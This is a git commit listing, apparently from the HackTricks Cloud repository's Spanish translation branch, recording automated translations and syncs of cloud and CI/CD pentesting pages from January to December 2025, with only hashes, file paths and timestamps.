Compare commits

..

279 Commits

Author SHA1 Message Date
Translator
9094acba64 Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation 2025-12-08 11:36:44 +00:00
Translator
0fdbeece3b Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat 2025-12-07 15:51:53 +00:00
Translator
74b41bd5a6 Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat 2025-12-07 11:34:24 +00:00
Translator
a5735800a4 Sync SUMMARY.md with master 2025-12-04 10:36:57 +00:00
Translator
e168555f86 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-12-04 10:36:56 +00:00
Translator
509344811e Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala 2025-11-30 12:25:11 +00:00
Translator
95b414534c Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala 2025-11-28 09:46:51 +00:00
Translator
5fb81e9aa5 Sync SUMMARY.md with master 2025-11-26 17:17:50 +00:00
Translator
f834307df9 Sync SUMMARY.md with master 2025-11-26 17:15:58 +00:00
Translator
67c1be4da1 Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp 2025-11-26 17:15:57 +00:00
carlospolop
fa602caf4f Sync theme/ with master 2025-11-25 10:15:56 +01:00
carlospolop
6b7a00d11e Sync hacktricks-preprocessor.py with master (mdbook 0.5.x fix) 2025-11-24 23:42:42 +01:00
Translator
4194e91d6a Translated ['', 'src/pentesting-cloud/aws-security/aws-unauthenticated-e 2025-11-24 22:38:22 +00:00
Translator
7eb9f677b3 Translated ['', 'src/pentesting-cloud/aws-security/aws-unauthenticated-e 2025-11-24 21:40:29 +00:00
carlospolop
6e191abc79 Sync book.toml with master 2025-11-24 17:32:20 +01:00
Translator
78445677a4 Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat 2025-11-24 10:24:51 +00:00
Translator
035265f98e Sync SUMMARY.md with master 2025-11-22 20:01:37 +00:00
Translator
ca3945f965 Sync SUMMARY.md with master 2025-11-22 19:59:45 +00:00
Translator
e4c91785cc Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta 2025-11-22 19:59:44 +00:00
Translator
8f0650343b Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala 2025-11-19 17:18:19 +00:00
Translator
0d3e6b40d7 Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-11-19 14:45:20 +00:00
Translator
1a0ecc3867 Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to es 2025-11-17 15:45:44 +00:00
Translator
ef70be1072 Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har 2025-11-17 12:19:47 +00:00
Translator
ab820f8cec Sync SUMMARY.md with master 2025-11-15 16:36:31 +00:00
Translator
52c6bc4447 Translated ['src/pentesting-cloud/pentesting-cloud-methodology.md', 'src 2025-11-15 16:36:30 +00:00
Translator
69c9a0f200 Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat 2025-11-15 11:48:15 +00:00
Translator
d3e66f2e4f Translated ['', 'src/pentesting-cloud/aws-security/aws-services/aws-rela 2025-11-01 11:05:48 +00:00
Translator
5bf45bf55f Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement 2025-11-01 11:00:06 +00:00
Translator
33e1befb92 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-bedrock- 2025-10-25 22:36:52 +00:00
Translator
43ccec8ff2 Fix unmatched refs 2025-10-25 22:31:42 +00:00
Translator
2e7cd20fde Sync SUMMARY.md with master 2025-10-25 16:11:56 +00:00
Translator
1e4be0edf4 Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p 2025-10-25 16:11:55 +00:00
Translator
1f2c65936a Sync SUMMARY.md with master 2025-10-25 15:55:22 +00:00
Translator
8a0ab9248c Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-moni 2025-10-25 15:55:21 +00:00
Translator
0908044598 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-23 21:53:30 +00:00
Translator
060c839d56 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-23 20:48:56 +00:00
Translator
3fc13bd3a8 Sync SUMMARY.md with master 2025-10-23 14:54:44 +00:00
Translator
380ea9f670 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-23 14:54:42 +00:00
Translator
d23bf52e07 Sync SUMMARY.md with master 2025-10-23 13:44:39 +00:00
Translator
026155c499 Translated ['src/pentesting-ci-cd/cloudflare-security/README.md', 'src/p 2025-10-23 13:44:38 +00:00
Translator
03a032d994 Sync SUMMARY.md with master 2025-10-23 13:07:28 +00:00
Translator
d8869f5389 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-23 13:07:26 +00:00
Translator
0fdf2b27f8 Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-23 13:02:42 +00:00
Translator
2fc1416adc Translated ['src/pentesting-cloud/aws-security/aws-services/aws-sagemake 2025-10-23 10:59:15 +00:00
Translator
4a19fb318f Fix unmatched refs 2025-10-23 10:55:08 +00:00
Translator
f4f96db0df Fix unmatched refs 2025-10-23 10:51:06 +00:00
Translator
3bb1f868a0 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-10-17 15:53:48 +00:00
Translator
6e4470fbf7 Fix unmatched refs 2025-10-17 15:39:02 +00:00
Translator
f18bf8e688 Sync SUMMARY.md with master 2025-10-14 01:28:57 +00:00
Translator
cc460cddc7 Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum- 2025-10-14 01:28:55 +00:00
Translator
a51dbe2c5e Fix unmatched refs 2025-10-09 10:28:36 +00:00
Translator
43ef0f9632 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-07 15:37:27 +00:00
Translator
2c3918d90b Fix unmatched refs 2025-10-07 15:30:07 +00:00
Translator
d128851ff3 Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-07 09:24:40 +00:00
Translator
e9fb7605a0 Sync SUMMARY.md with master 2025-10-06 23:04:16 +00:00
Translator
f9dfe4ed35 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-lambd 2025-10-06 23:04:15 +00:00
Translator
9341655082 Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-06 11:25:08 +00:00
Translator
4fb07e6447 Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-06 09:59:21 +00:00
Translator
4f65093d9a Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat 2025-10-04 09:18:16 +00:00
Translator
0fb202c71b Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-01 10:29:17 +00:00
Translator
10b5cb8494 Translated ['', 'src/README.md'] to es 2025-10-01 10:05:11 +00:00
Translator
70c89cd5ab Update searchindex (purged history; keep current) 2025-09-30 22:12:14 +00:00
Translator
c72fbd67c6 Sync SUMMARY.md with master 2025-09-30 19:23:05 +00:00
Translator
97030da757 Translated ['src/pentesting-ci-cd/chef-automate-security/chef-automate-e 2025-09-30 19:23:03 +00:00
Translator
ea0bc193c8 Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat 2025-09-30 19:16:42 +00:00
Translator
01ce56dcea Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube 2025-09-29 23:40:46 +00:00
Translator
07c594b03a Sync SUMMARY.md with master 2025-09-29 23:24:18 +00:00
Translator
470ecd0bbc Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions 2025-09-29 23:24:14 +00:00
Translator
42ad7d2305 Translated ['', 'src/pentesting-ci-cd/supabase-security.md'] to es 2025-09-29 23:07:11 +00:00
Translator
effd33253b Sync SUMMARY.md with master 2025-09-29 22:58:36 +00:00
Translator
2490778258 Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA 2025-09-29 22:50:08 +00:00
Translator
9705583f21 Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat 2025-09-29 22:44:40 +00:00
Translator
8d06954c4f Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act 2025-09-29 22:25:54 +00:00
Translator
56bb737c9f Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act 2025-09-29 21:35:37 +00:00
Translator
6e74148fee Translated ['src/pentesting-cloud/pentesting-cloud-methodology.md', 'src 2025-09-29 21:16:50 +00:00
Translator
645882f300 Translated ['', 'src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 2025-09-04 23:47:04 +00:00
Translator
01ec8d2e5e Translated ['src/pentesting-ci-cd/gitblit-security/README.md', 'src/pent 2025-08-31 08:23:29 +00:00
Translator
1c21e0bfda Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat 2025-08-31 08:12:50 +00:00
Translator
3cabbfed7a Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv 2025-08-28 18:01:09 +00:00
Translator
7928c1ee21 Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement 2025-08-25 21:26:03 +00:00
Translator
c5b45e402d Translated ['src/pentesting-cloud/azure-security/az-services/az-automati 2025-08-21 00:24:22 +00:00
Translator
e01aafb432 Translated ['src/pentesting-ci-cd/terraform-security.md'] to es 2025-08-19 15:34:45 +00:00
carlospolop
9cdeafc65b f 2025-08-19 17:20:21 +02:00
Translator
78e17038ae Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-08-18 14:55:53 +00:00
Translator
b69d4447f6 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-08-18 14:52:05 +00:00
Translator
d91d15a8a1 Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-08-18 14:46:58 +00:00
Translator
192dde4f51 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito- 2025-08-18 14:44:23 +00:00
Translator
269a5692c6 Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-08-18 14:25:40 +00:00
Translator
f90ef4a317 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito- 2025-08-18 14:21:58 +00:00
Translator
314fbcb8fa Translated ['src/pentesting-cloud/azure-security/az-services/az-keyvault 2025-08-04 09:32:44 +00:00
Translator
de68c2e892 Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-08-01 10:14:30 +00:00
Translator
7ccda24868 Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle 2025-08-01 10:11:45 +00:00
Translator
c44d292da2 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-08-01 09:45:55 +00:00
Translator
d0445b0c3d Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-30 04:57:01 +00:00
Translator
8b1ddc09dc Translated ['src/pentesting-cloud/azure-security/az-device-registration. 2025-07-30 04:16:43 +00:00
Translator
460e77a752 Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-30 04:11:13 +00:00
Translator
5564d386cc Translated ['src/pentesting-cloud/azure-security/az-device-registration. 2025-07-30 04:08:17 +00:00
Translator
40fe735c5e Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-29 16:04:20 +00:00
Translator
22bc3a776e Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-24 11:26:14 +00:00
Translator
065ef28fa1 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p 2025-07-24 06:56:26 +00:00
Translator
266a1115ba Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p 2025-07-24 06:50:21 +00:00
Translator
2fc8ca6940 Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-23 22:09:24 +00:00
Translator
bc5a7c824a Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem 2025-07-22 19:00:51 +00:00
Translator
80d4398795 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem 2025-07-22 12:36:01 +00:00
Translator
1771e61e05 Translated ['src/pentesting-cloud/azure-security/az-services/az-keyvault 2025-07-12 14:23:52 +00:00
Translator
44cd6dc113 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-kms-enum 2025-07-07 09:57:43 +00:00
Translator
e00738f2d7 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-kms-enum 2025-07-03 14:54:56 +00:00
Translator
2699fb42a3 Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions 2025-06-25 00:23:23 +00:00
Translator
0c3ba9f77a Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-06-24 14:03:23 +00:00
Translator
b6bee3cc89 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-06-24 14:00:33 +00:00
Translator
28569b0f2b Translated ['src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum- 2025-06-10 12:36:25 +00:00
Translator
c4f75bcf08 Translated ['src/README.md'] to es 2025-05-20 15:40:06 +00:00
Translator
8422e2e485 Translated ['src/pentesting-cloud/azure-security/az-services/az-misc.md' 2025-05-20 15:18:26 +00:00
Translator
187c6fecb3 Translated ['src/pentesting-cloud/workspace-security/gws-workspace-sync- 2025-05-20 06:05:03 +00:00
Translator
83ca5c8dcd Translated ['src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting 2025-05-17 05:01:08 +00:00
Translator
697ada40f8 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-05-12 19:25:42 +00:00
Translator
6f92101c0f Translated ['src/pentesting-cloud/azure-security/az-basic-information/az 2025-05-11 15:08:38 +00:00
Translator
58b17f4335 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-05-09 12:43:57 +00:00
Translator
dc4064d699 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-05-09 11:47:46 +00:00
Translator
912c4147a9 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-05-09 11:45:44 +00:00
Translator
d750cbfc4f Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-05-09 11:19:28 +00:00
Translator
23a9e7c446 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-05-01 11:39:57 +00:00
Translator
3b030bc913 Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum- 2025-04-30 15:35:33 +00:00
Translator
99b7b735fe Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-04-30 15:31:39 +00:00
Translator
1164484bf3 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-04-21 21:02:21 +00:00
Translator
fee688ece9 Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus 2025-04-14 22:07:26 +00:00
Translator
8db2597a1a Translated ['src/banners/hacktricks-training.md'] to es 2025-04-14 22:01:52 +00:00
Translator
51330d35c0 Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus 2025-04-13 14:33:54 +00:00
Translator
546b8b3042 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-04-11 00:28:03 +00:00
Translator
a550dd29c7 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud 2025-04-07 01:40:25 +00:00
Translator
74a16d7945 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-04-07 01:26:28 +00:00
Translator
e9f9f492a2 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-04-03 20:32:48 +00:00
Translator
0eca7338a0 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-04-03 20:29:42 +00:00
Translator
0835b7c624 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-04-03 13:47:20 +00:00
Translator
ba62f4c91f Update searchindex for es 2025-04-02 15:53:28 +00:00
Translator
270c35c24f Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-04-02 15:52:59 +00:00
Translator
b29b750f46 Update searchindex for es 2025-03-29 23:01:18 +00:00
Translator
5f784a1b49 Update searchindex for es 2025-03-29 08:43:45 +00:00
Translator
1789f50195 Update searchindex for es 2025-03-28 15:53:19 +00:00
Translator
2e83a9ce50 Update searchindex for es 2025-03-28 11:24:58 +00:00
Translator
7e1a37c24a Update searchindex for es 2025-03-28 10:47:32 +00:00
Translator
38f8373281 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-03-28 10:46:56 +00:00
Translator
e7f65317a1 Update searchindex for es 2025-03-27 12:45:23 +00:00
Translator
bfa7ac6b13 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-03-27 12:45:04 +00:00
Translator
1085fa8628 Update searchindex for es 2025-03-21 09:32:28 +00:00
Translator
49c46f3b35 Translated ['src/pentesting-cloud/azure-security/az-services/az-defender 2025-03-21 09:32:09 +00:00
Translator
87447d8ab5 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-03-21 09:23:56 +00:00
Translator
60d35fb2ca Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-03-21 09:06:40 +00:00
Translator
6152597f3e Translated ['src/pentesting-cloud/azure-security/az-services/az-sql.md'] 2025-03-21 09:02:17 +00:00
Translator
59a372b964 Update searchindex for es 2025-03-18 05:49:00 +00:00
Translator
34b92bb7d2 Update searchindex for es 2025-03-17 11:56:54 +00:00
Translator
b21b3756d3 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-03-17 03:51:30 +00:00
Translator
1ce6948b5b Translated ['src/pentesting-cloud/azure-security/README.md'] to es 2025-03-04 22:09:21 +00:00
Translator
26672d0423 Update searchindex for es 2025-03-02 12:55:20 +00:00
Translator
d4441ea100 Update searchindex for es 2025-03-02 00:21:32 +00:00
Translator
3b2a3b2c3d Update searchindex for es 2025-02-26 16:10:08 +00:00
Translator
0c9c55da48 Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-26 16:09:45 +00:00
Translator
9594bf9388 Update searchindex for es 2025-02-26 01:02:39 +00:00
Translator
21c9c1740c Translated ['src/pentesting-cloud/azure-security/az-services/az-sql.md'] 2025-02-26 01:02:16 +00:00
Translator
ec6c6bccef Translated ['src/pentesting-cloud/azure-security/az-services/az-queue.md 2025-02-26 00:41:42 +00:00
Translator
c35c026cc1 Translated ['src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting 2025-02-26 00:22:05 +00:00
Translator
ea2df79a63 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-queue 2025-02-25 23:33:50 +00:00
Translator
e0317f46f7 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-sql-p 2025-02-25 23:16:21 +00:00
Translator
fd6596498a Translated ['src/pentesting-cloud/azure-security/az-persistence/az-logic 2025-02-25 22:39:20 +00:00
Translator
edea2ed0c1 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-25 22:37:40 +00:00
Translator
7228ef2c34 Translated ['src/pentesting-cloud/azure-security/az-services/az-containe 2025-02-25 22:31:03 +00:00
Translator
14d6ebb419 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-25 22:09:28 +00:00
Translator
b0cfbd3910 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-25 21:58:01 +00:00
Translator
eeeb480687 Update searchindex for es 2025-02-25 05:08:53 +00:00
Translator
ea735d1e77 Update searchindex for es 2025-02-24 10:29:49 +00:00
Translator
35e0a15c61 Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-22 16:16:10 +00:00
Translator
597138eb4d Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-22 12:48:06 +00:00
Translator
afdf61db7b Update searchindex for es 2025-02-21 23:33:43 +00:00
Translator
fa0c50519d Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh 2025-02-21 13:57:18 +00:00
Translator
5466df8966 Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-s 2025-02-21 11:05:08 +00:00
Translator
76c6ea1cff Update searchindex for es 2025-02-21 11:03:08 +00:00
Translator
c0ec1a446d Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-20 23:14:40 +00:00
Translator
20fef17a68 Update searchindex for es 2025-02-20 12:10:02 +00:00
Translator
60d8c02966 Update searchindex for es 2025-02-20 00:56:32 +00:00
Translator
9458b97c2c Translated ['src/pentesting-cloud/azure-security/az-persistence/az-queue 2025-02-20 00:54:54 +00:00
Translator
fa1e8fddf6 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-20 00:39:31 +00:00
Translator
998be89c35 Update searchindex for es 2025-02-19 01:29:39 +00:00
Translator
56b0ce34eb Update searchindex for es 2025-02-18 11:18:18 +00:00
Translator
4b891bfaf3 Translated ['src/pentesting-cloud/azure-security/az-services/az-serviceb 2025-02-17 20:57:32 +00:00
Translator
0b15a3dc05 Update searchindex for es 2025-02-17 18:27:16 +00:00
Translator
3cd61332cf Translated ['src/pentesting-cloud/azure-security/az-persistence/az-autom 2025-02-17 18:21:49 +00:00
Translator
f03d54c4af Translated ['src/pentesting-cloud/aws-security/aws-services/aws-organiza 2025-02-17 17:14:48 +00:00
Translator
0dec7967dc Translated ['src/pentesting-cloud/aws-security/aws-services/aws-organiza 2025-02-17 12:01:45 +00:00
Translator
cef4ace69a Update searchindex for es 2025-02-17 10:56:01 +00:00
Translator
eb9a4af5cb Update searchindex for es 2025-02-16 17:29:30 +00:00
Translator
987ae5ae42 Update searchindex for es 2025-02-15 17:50:36 +00:00
Translator
53236afa93 Update searchindex for es 2025-02-15 15:25:24 +00:00
Translator
1f995ce682 Update searchindex for es 2025-02-15 03:25:37 +00:00
Translator
2a151dc070 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-15 03:25:18 +00:00
Translator
5d17807469 Update searchindex for es 2025-02-15 02:02:06 +00:00
Translator
7d833ebc72 Translated ['src/pentesting-cloud/azure-security/az-unauthenticated-enum 2025-02-15 02:01:50 +00:00
Translator
032d0dc18d Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-15 01:18:35 +00:00
Translator
6255ce60f2 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-15 01:16:05 +00:00
Translator
606ca86a47 Update searchindex for es 2025-02-14 18:20:02 +00:00
Translator
8f9ab7d52d Update searchindex for es 2025-02-14 16:20:12 +00:00
Translator
5269d9ed4f Update searchindex for es 2025-02-14 15:44:19 +00:00
Translator
af5b3b15b7 Update searchindex for es 2025-02-13 17:45:56 +00:00
Translator
31f7490f1c Update searchindex for es 2025-02-13 10:01:58 +00:00
Translator
3cc33cafb3 Update searchindex for es 2025-02-13 09:54:48 +00:00
Translator
cefb91866b Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-13 09:54:28 +00:00
Translator
066e840231 Update searchindex for es 2025-02-12 17:23:19 +00:00
Translator
2d5c01140a Update searchindex for es 2025-02-12 17:08:21 +00:00
Translator
74d4ca7467 Update searchindex for es 2025-02-12 14:41:12 +00:00
Translator
3820e948f5 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-12 14:40:46 +00:00
Translator
5753bf1d80 Update searchindex for es 2025-02-12 13:50:44 +00:00
Translator
610c9afdcd Translated ['src/pentesting-cloud/azure-security/az-services/az-automati 2025-02-12 13:50:28 +00:00
Translator
ba998814e3 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-12 13:40:30 +00:00
Translator
848bd47c4c Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-02-11 17:14:31 +00:00
Translator
4f3ffb6f5b Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-02-10 23:48:39 +00:00
Translator
a9b6f240ac Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-10 23:32:28 +00:00
Translator
fe6d13c006 Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-10 00:24:38 +00:00
Translator
44eeed572c Translated ['src/pentesting-cloud/azure-security/az-services/az-azuread. 2025-02-09 17:53:42 +00:00
Translator
13db187078 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-02-09 14:58:33 +00:00
Translator
65ec6ddc48 Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-08 18:57:16 +00:00
Translator
8455f8fb45 Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-08 18:50:40 +00:00
Translator
2cc2cce04c Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-08 18:25:15 +00:00
Translator
b4fd3f2f86 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-08 13:48:13 +00:00
Translator
3aba1ae830 Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-02-07 00:04:52 +00:00
Translator
7f0b11d96d Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-06 02:14:24 +00:00
Translator
93516bbdad Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-05 23:37:03 +00:00
Translator
0f87f3744d Translated ['src/pentesting-cloud/aws-security/aws-services/aws-efs-enum 2025-02-04 18:17:13 +00:00
Translator
6584d9cfb8 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-efs-enum 2025-02-02 18:22:48 +00:00
Translator
b970a71ac5 Translated ['src/pentesting-cloud/azure-security/az-services/az-file-sha 2025-01-29 11:34:36 +00:00
Translator
0e2b39101d Translated ['src/pentesting-cloud/azure-security/az-services/az-azuread. 2025-01-27 14:21:25 +00:00
Translator
8d58e5da49 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-01-26 21:48:57 +00:00
Translator
97abf38e7a Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-01-26 21:46:22 +00:00
Translator
81a0c21032 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-01-26 18:00:04 +00:00
Translator
e8c6f664e8 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-01-26 15:17:09 +00:00
Translator
8a5ddc8abd Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-01-26 15:10:09 +00:00
Translator
0868c9c8f9 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito- 2025-01-26 14:51:25 +00:00
Translator
001bb881b6 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-26 14:22:45 +00:00
Translator
67ff3e427b Translated ['src/pentesting-cloud/azure-security/az-unauthenticated-enum 2025-01-26 11:03:09 +00:00
Translator
67b1502ac6 Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-01-26 10:44:50 +00:00
Translator
9dbcae0fe1 Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-01-25 14:38:33 +00:00
Translator
182c0cb68c Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB 2025-01-22 23:09:12 +00:00
Translator
fbd1168835 Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus 2025-01-22 12:06:20 +00:00
Translator
40fc740366 Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB 2025-01-22 09:54:26 +00:00
Translator
a3a6c70b85 Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera 2025-01-22 09:51:56 +00:00
Translator
b4241e8188 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p 2025-01-21 17:36:43 +00:00
Translator
b073ba19ce Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-12 18:44:18 +00:00
Translator
ecf5b2bb87 Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains 2025-01-11 19:16:44 +00:00
Translator
9f75e84afc Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-10 17:42:13 +00:00
Translator
f8c174bfc3 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-10 13:19:11 +00:00
Translator
bbe988d21f Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-10 12:03:28 +00:00
Translator
1682e95caf Translated ['src/README.md'] to es 2025-01-09 17:21:35 +00:00
Translator
6e84d3596f Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-01-09 16:36:28 +00:00
Translator
c1b4e6de0f Translated ['src/pentesting-cloud/azure-security/az-services/az-keyvault 2025-01-09 16:31:14 +00:00
Translator
4423233fdf Translated ['README.md', 'src/pentesting-cloud/azure-security/az-service 2025-01-09 08:33:20 +00:00
Translator
a7f9002701 Translated ['src/pentesting-cloud/azure-security/az-services/az-static-w 2025-01-09 08:16:54 +00:00
Translator
107b8a78a7 Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-09 08:11:35 +00:00
Translator
2088a376d4 Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-09 07:44:41 +00:00
Translator
a9bb3aa0d9 Translated ['src/pentesting-cloud/azure-security/az-permissions-for-a-pe 2025-01-09 07:35:48 +00:00
Translator
4465923ee5 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-09 01:06:12 +00:00
Translator
39c235f096 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-09 00:14:24 +00:00
Translator
c4f4b0d6c1 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-08 23:01:00 +00:00
Translator
1151f66853 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-08 21:08:42 +00:00
Translator
da220db1ed Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-08 20:45:01 +00:00
Translator
